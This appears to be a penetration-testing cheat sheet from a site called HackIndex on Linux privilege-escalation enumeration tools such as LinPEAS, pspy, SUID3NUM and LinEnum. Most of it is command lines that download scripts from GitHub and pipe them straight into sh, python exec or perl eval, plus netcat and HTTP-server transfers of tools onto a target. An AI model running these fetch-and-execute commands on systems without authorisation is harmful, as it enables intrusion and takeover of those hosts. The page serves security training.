Skip to content
HackIndex logo

HackIndex

Linux Privilege Escalation Enumeration Tools

14 min read Apr 24, 2026

Automated scripts identify misconfigurations, credential leaks, and exploitable binaries. Use them early—but always verify findings manually before exploitation.

Getting tools onto the target

When the target has no internet access, serve tools from your attack box and pull them down. Always set up a transfer method before running enumeration tools.

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
 
┌──(kali㉿kali)-[~]
└─$ # On target — pull files down
┌──(kali㉿kali)-[~]
└─$ wget http://$LHOST:8080/linpeas.sh
┌──(kali㉿kali)-[~]
└─$ curl -sO http://$LHOST:8080/linpeas.sh 
Serving HTTP on 0.0.0.0 port 8080 ...
┌──(kali㉿kali)-[~]
└─$ # On target — listen and receive
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444 > linpeas.sh
 
┌──(kali㉿kali)-[~]
└─$ # On attack box — send
┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP 4444 < linpeas.sh
┌──(kali㉿kali)-[~]
└─$ # On attack box — encode
┌──(kali㉿kali)-[~]
└─$ base64 -w 0 linpeas.sh
 
┌──(kali㉿kali)-[~]
└─$ # On target — paste the output string, then decode
┌──(kali㉿kali)-[~]
└─$ echo "PASTEBASE64HERE" | base64 -d > /tmp/linpeas.sh
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/linpeas.sh

Modern, actively maintained, and comprehensive. Start here on all engagements.

Download and run:

┌──(kali㉿kali)-[~]
└─$ curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
┌──(kali㉿kali)-[~]
└─$ wget -qO- https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
┌──(kali㉿kali)-[~]
└─$ fetch -q -o - https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
┌──(kali㉿kali)-[~]
└─$ busybox wget -O - https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request as r; print(r.urlopen("https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh").read().decode())' | bash
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; getprint "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"' | sh
┌──(kali㉿kali)-[~]
└─$ php -r '$f=fopen("https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh","r");while(!feof($f))echo fread($f,8192);fclose($f);' | sh
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/linpeas.sh
┌──(kali㉿kali)-[~]
└─$ /tmp/linpeas.sh | tee /tmp/linpeas_out.txt

Interpretation:

  • Focus on red and orange highlighted lines. Red background means critical — likely directly exploitable.

  • Within red findings, prioritise in this order: sudo rules with NOPASSWD, SUID binaries in non-standard paths (/opt, /usr/local, home directories), writable cron or systemd unit files, Linux capabilities on binaries, and plaintext credentials in config files or history.

  • Ignore informational blue/green output unless context suggests relevance — these are not escalation vectors on their own.

Notice

LinPEAS is allowed in OSCP and most exams. It does not exploit—only enumerates.

pspy (process snooping for cron and timers)

Use this when you suspect scheduled tasks, short-lived jobs, or secrets passed on the command line. pspy can show commands executed by other users without needing root.

Get it onto the target

On your box, download a release binary once and reuse it across engagements.

  • pspy64 / pspy32: static, most compatible

  • pspy64s / pspy32s: smaller, depends on libc

┌──(kali㉿kali)-[~]
└─$ curl -sL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/p && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ curl -sL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s -o /tmp/p && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/p && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s -O /tmp/p && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ fetch -q -o /tmp/p https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ fetch -q -o /tmp/p https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ busybox wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/p && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ busybox wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s -O /tmp/p && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request; urllib.request.urlretrieve("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64", "/tmp/p")' && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request; urllib.request.urlretrieve("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s", "/tmp/p")' && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; getstore("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64", "/tmp/p")' && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; getstore("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s", "/tmp/p")' && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ php -r 'copy("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64", "/tmp/p");' && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ php -r 'copy("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s", "/tmp/p");' && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ curl -sL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -o /tmp/p && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ curl -sL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s -o /tmp/p && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/p && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s -O /tmp/p && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ fetch -q -o /tmp/p https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ fetch -q -o /tmp/p https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ busybox wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/p && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ busybox wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s -O /tmp/p && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request; urllib.request.urlretrieve("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32", "/tmp/p")' && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request; urllib.request.urlretrieve("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s", "/tmp/p")' && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; getstore("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32", "/tmp/p")' && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; getstore("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s", "/tmp/p")' && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />
┌──(kali㉿kali)-[~]
└─$ php -r 'copy("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32", "/tmp/p");' && chmod +x /tmp/p && /tmp/p
 
┌──(kali㉿kali)-[~]
└─$ # or smaller, depends on libc
┌──(kali㉿kali)-[~]
└─$ php -r 'copy("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s", "/tmp/p");' && chmod +x /tmp/p && /tmp/p 
<span>CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh</span><br /><span>CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html</span><br />

Wait at least 2–3 minutes. Watch for UID=0 processes firing on a regular cadence.

Catch file events and tune scanning

If you're missing fast jobs, enable file events and slow down the proc scan to reduce noise:

┌──(kali㉿kali)-[~]
└─$ /tmp/p -pf -i 1000

When you see root running a script or binary, immediately check whether any part of that execution path is writable by you: the script itself, any sourced config, the working directory, or any file it creates that gets executed later.

Where to go next based on what you see:

SUID3NUM (SUID-focused)

Identifies custom SUID binaries and cross-references them with GTFOBins automatically.

Download and run:

┌──(kali㉿kali)-[~]
└─$ curl -sL https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py -o suid3num.py && chmod +x suid3num.py && python3 suid3num.py
┌──(kali㉿kali)-[~]
└─$ wget -q https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py -O suid3num.py && chmod +x suid3num.py && python3 suid3num.py
┌──(kali㉿kali)-[~]
└─$ fetch -q -o - https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py | python3
┌──(kali㉿kali)-[~]
└─$ busybox wget -O - https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py | python3
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request as r; print(r.urlopen("https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py").read().decode())' | python3
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py", "suid3num.py")' && chmod +x suid3num.py && python3 suid3num.py
┌──(kali㉿kali)-[~]
└─$ php -r '$f=fopen("https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py","r");while(!feof($f))echo fread($f,8192);fclose($f);' | python3

Output includes:

  • Default SUID binaries (safe, ignore)

  • Custom SUID binaries (investigate)

  • GTFOBins matches with exploitation commands

For the full SUID exploitation workflow including binary analysis see SUID Binary Privilege Escalation.

linux-exploit-suggester (kernel CVE matching)

Compares kernel version and package metadata against known kernel privilege escalation CVEs. Run before attempting any kernel exploit — it narrows the candidate list significantly and avoids wasted time on patched versions.

┌──(kali㉿kali)-[~]
└─$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/les.sh
┌──(kali㉿kali)-[~]
└─$ bash /tmp/les.sh

Always verify the specific patch level with dpkg -l linux-image* or rpm -qa kernel* before attempting any suggested exploit. Distributions backport patches without changing the version number shown by uname -r, so suggester output is a starting point — not a guarantee.

For the full kernel exploitation workflow see Kernel Local Privilege Escalation.

lse.sh (Linux Smart Enumeration)

Lightweight alternative when Python is unavailable or script size matters.

Run:

┌──(kali㉿kali)-[~]
└─$ curl -sL https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | sh
┌──(kali㉿kali)-[~]
└─$ wget -qO- https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | sh
┌──(kali㉿kali)-[~]
└─$ fetch -q -o - https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | sh
┌──(kali㉿kali)-[~]
└─$ busybox wget -qO- https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | sh
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request as r; exec(r.urlopen("https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh").read())'
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; eval get "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh"'
┌──(kali㉿kali)-[~]
└─$ php -r '@readfile("https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh");' | sh

Focuses only on high-yield privilege escalation vectors. Output uses red/yellow/green severity tags.

Works in ash, dash, and minimal shells. Ideal for embedded or restricted targets.

Increase verbosity for more detail: ./lse.sh -l 2

BeRoot

Python tool that validates common misconfigurations with clear exploit suggestions.

Run:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/AlessandroZ/BeRoot.git
┌──(kali㉿kali)-[~]
└─$ cd BeRoot/Linux
┌──(kali㉿kali)-[~]
└─$ python3 beroot.py

Checks for:

  • Abusable sudo rules

  • Writable system files

  • PATH hijacking

  • LD_PRELOAD abuse

LinEnum (legacy)

Older Bash-based enumerator. Still functional but outdated.

Run with thorough mode and keyword search:

┌──(kali㉿kali)-[~]
└─$ curl -sL https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o LinEnum.sh && chmod +x LinEnum.sh && ./LinEnum.sh
┌──(kali㉿kali)-[~]
└─$ wget -qO- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
┌──(kali㉿kali)-[~]
└─$ fetch -qo- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
┌──(kali㉿kali)-[~]
└─$ busybox wget -qO- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request as r; exec(r.urlopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh").read())'
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; eval get "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"'
┌──(kali㉿kali)-[~]
└─$ php -r 'readfile("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh");' | sh

unix-privesc-check (minimalist)

Single-file shell script focused on file permissions, sudoers, and process inspection. Works in restricted environments.

Run:

┌──(kali㉿kali)-[~]
└─$ curl -sL https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check | sh -s detailed
┌──(kali㉿kali)-[~]
└─$ wget -qO- https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check | sh -s detailed
┌──(kali㉿kali)-[~]
└─$ fetch -qo- https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check | sh -s detailed
┌──(kali㉿kali)-[~]
└─$ busybox wget -qO- https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check | sh -s detailed
┌──(kali㉿kali)-[~]
└─$ python3 -c 'import urllib.request as r; exec(r.urlopen("https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check").read())'
┌──(kali㉿kali)-[~]
└─$ perl -e 'use LWP::Simple; eval get "https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check"'
┌──(kali㉿kali)-[~]
└─$ php -r 'readfile("https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check");' | sh -s detailed

checksec (binary/kernel hardening)

Identify exploit mitigations that affect kernel or binary exploitation viability.

Install if missing:

┌──(kali㉿kali)-[~]
└─$ sudo apt install checksec

Run full system check:

┌──(kali㉿kali)-[~]
└─$ checksec --all

For a specific SUID binary found during enumeration, check its mitigations individually before attempting exploitation:

┌──(kali㉿kali)-[~]
└─$ checksec --file=/path/to/suid-binary
checksec --kernel

Key outputs:

  • Kernel ASLR, SMAP/SMEP, KPTI: determine if kernel exploits are feasible. See Kernel Local Privilege Escalation.

  • PIE, RELRO, Canaries, NX: affect userland binary exploitation. No PIE combined with no stack canary on a custom SUID binary means a simple overflow may work without any bypass. See SUID Binary Privilege Escalation.

Use this to decide whether to pursue kernel exploits or focus on configuration-based escalation.

References